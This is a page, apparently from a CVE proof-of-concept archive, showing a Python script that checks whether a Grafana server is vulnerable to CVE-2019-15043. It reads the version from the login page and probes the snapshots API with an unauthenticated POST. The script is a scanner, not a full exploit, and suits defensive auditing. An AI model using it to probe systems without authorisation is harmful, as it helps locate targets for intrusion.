5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2019-15043.py PY
#!/usr/bin/env python3

import argparse
import requests
import re

G, B, R, W, M, C, end = '\033[92m', '\033[94m', '\033[91m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m'
info = end + W + "[-]" + W
good = end + G + "[+]" + C
bad = end + R + "[" + W + "!" + R + "]"

user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"
snapshot_endpoint = "api/snapshots"


def send_request(url, method):
    """ sends an HTTP requset """
    headers = {'User-Agent': user_agent}
    try:
        if method == "GET":
            r = requests.get(url, headers=headers)
        else:
            data = ""
            r = requests.post(url, headers=headers, data=data)
    except Exception as e:
        print(bad + " Problem with request! " + end)
        print(e)
        exit(-1)

    if (r.status_code == 302):
        print(bad + " Redirected. Try this instead: " +
                r.headers['Location'] + end)
    elif (r.status_code == 401):
        print(bad + " Status: " + str(r.status_code) + end)
        return(r.status_code)
    elif (r.status_code == 415):
        return(r.status_code)
    elif (r.status_code == 200):
        print(info + " Status: " + str(r.status_code) + end)
        return(r.text)
    else:
        print(info + " Something went wrong! " + end)
        print(bad + " Status: " + str(r.status_code) + str(r.content) + end)
        exit(-1)


def check_version(grafana_server):
    """ checks the version of the grafana server """
    response = send_request(grafana_server+"/login", "GET")

    print(info + " Checking for version..." + end)

    r1 = re.search('[0-9]{1}\.[0-9]{1}\.[0-9]{1}', str(response))
    print(info + " Grafana version appears to be: " + r1.group(0) + end)

    target_version = r1.group(0)
    if "5." in target_version : 
        fixed_version = '5.4.5'
    else:
        fixed_version = '6.3.4'

    if compare_versions(fixed_version, target_version) == False:
        print(bad + " Version seems to indicate it's probably not vulnerable." + end)
    else:
        print(good + " Version seems to indicate it might be vulnerable!" + end)


def compare_versions(fixed_version, target_version):
    """ compares the version strings from the Grafana login page """
    for i, j in zip(map(int, fixed_version.split(".")), map(int, target_version.split("."))):
        if i == j:
            continue
        return i > j
    return len(fixed_version.split(".")) > len(target_version.split("."))


def check_snapshots(grafana_server):
    """ checks if snapshot api allows unauthenticated requests """
    print(info + " Checking if snapshot api requires authentiation..." + end)
    
    response = send_request(grafana_server+"/api/snapshots", "POST")
    
    if (response) == 401:
        print(bad + " Snapshot endpoint requires authentication! Host not vulnerable." + end)
    elif (response) == 415:
        print(good + " Snapshot endpoint doesn't seem to require authentication! Host may be vulnerable." + end)
    else:
        print(info + " Didn't received expected status code when checking snapshot API. Check again." + end)

    return


def main():
    """ main """
    parser = argparse.ArgumentParser(
        prog='cve-2019-15043.py', description='For checking if a Grafana instance is vunlerable to CVE-2019-15043')
    parser.add_argument(
        "-u", "--url", help="URL of the target Grafana instance e.g. '-u https://localhost:3000'")
    parser.add_argument("-c", "--check-version",
                        help="Only check the Grafana version", action='store_true')
    args = parser.parse_args()

    if not args.url:
        print(bad + " Missing parameters " + end)
        parser.print_help()
        exit(-1)

    url = str(args.url)

    print(info + " Testing " + url + "..." + end)

    if args.check_version == True:
        check_version(url)
        exit(0)
    else:
        check_version(url)
        check_snapshots(url)


if __name__ == "__main__":
    main()